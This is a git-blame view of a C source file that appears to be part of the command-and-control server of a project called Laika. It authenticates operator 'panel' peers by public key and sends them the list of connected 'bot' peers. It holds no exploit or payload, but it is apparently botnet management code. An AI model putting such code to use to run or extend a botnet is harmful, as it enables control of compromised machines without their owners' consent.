2022-02-13 00:21:59 +00:00
|
|
|
#include "lerror.h"
|
|
|
|
#include "cnc.h"
|
|
|
|
#include "cpanel.h"
|
|
|
|
|
|
|
|
inline void checkAuthenticated(struct sLaika_peer *peer) {
|
|
|
|
if (peer->type != PEER_PANEL)
|
|
|
|
LAIKA_ERROR("malicious peer!");
|
|
|
|
}
|
|
|
|
|
|
|
|
bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) {
|
|
|
|
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
|
|
|
struct sLaika_peer *panel = (struct sLaika_peer*)uData;
|
2022-02-14 05:55:30 +00:00
|
|
|
struct sLaika_cnc *cnc = (struct sLaika_cnc*)panel->uData;
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-14 05:55:30 +00:00
|
|
|
/* make sure we're not sending cnc info lol, also don't send connection information about themselves */
|
|
|
|
if (&peer->sock != &cnc->sock && peer != panel) {
|
|
|
|
LAIKA_DEBUG("sending peer info %lx (cnc: %lx, panel: %lx)\n", peer, cnc, panel);
|
|
|
|
laikaC_sendNewPeer(panel, peer);
|
|
|
|
}
|
2022-02-13 00:21:59 +00:00
|
|
|
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
|
2022-02-14 05:55:30 +00:00
|
|
|
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
|
|
|
/* write the bot's pubkey & peerType */
|
|
|
|
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
|
|
|
|
laikaS_writeByte(&panel->sock, bot->type);
|
|
|
|
|
|
|
|
laikaS_endOutPacket(panel);
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
|
2022-02-14 05:55:30 +00:00
|
|
|
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
|
|
|
/* write the bot's pubkey */
|
|
|
|
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
|
|
|
|
laikaS_writeByte(&panel->sock, bot->type);
|
|
|
|
|
|
|
|
laikaS_endOutPacket(panel);
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData) {
|
|
|
|
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
|
|
|
|
panel->type = laikaS_readByte(&panel->sock);
|
|
|
|
|
|
|
|
switch (panel->type) {
|
|
|
|
case PEER_CNC:
|
|
|
|
case PEER_PANEL:
|
|
|
|
/* check that peer's pubkey is authenticated */
|
|
|
|
if (sodium_memcmp(panel->peerPub, cnc->pub, sizeof(cnc->pub)) != 0)
|
|
|
|
LAIKA_ERROR("unauthorized panel!\n");
|
|
|
|
|
|
|
|
/* add to cnc's list of authenticated panels */
|
|
|
|
laikaC_addPanel(cnc, panel);
|
|
|
|
LAIKA_DEBUG("Accepted authenticated panel %lx\n", panel);
|
|
|
|
|
|
|
|
/* they passed! send list of our peers */
|
|
|
|
laikaP_iterList(&cnc->pList, sendPanelPeerIter, (void*)panel);
|
2022-02-14 06:22:36 +00:00
|
|
|
|
|
|
|
/* notify other peers */
|
|
|
|
laikaC_onRmvPeer(cnc, panel);
|
|
|
|
laikaC_onAddPeer(cnc, panel);
|
2022-02-13 00:21:59 +00:00
|
|
|
break;
|
|
|
|
default:
|
|
|
|
LAIKA_ERROR("unknown peerType [%d]!\n", panel->type);
|
|
|
|
}
|
|
|
|
}
|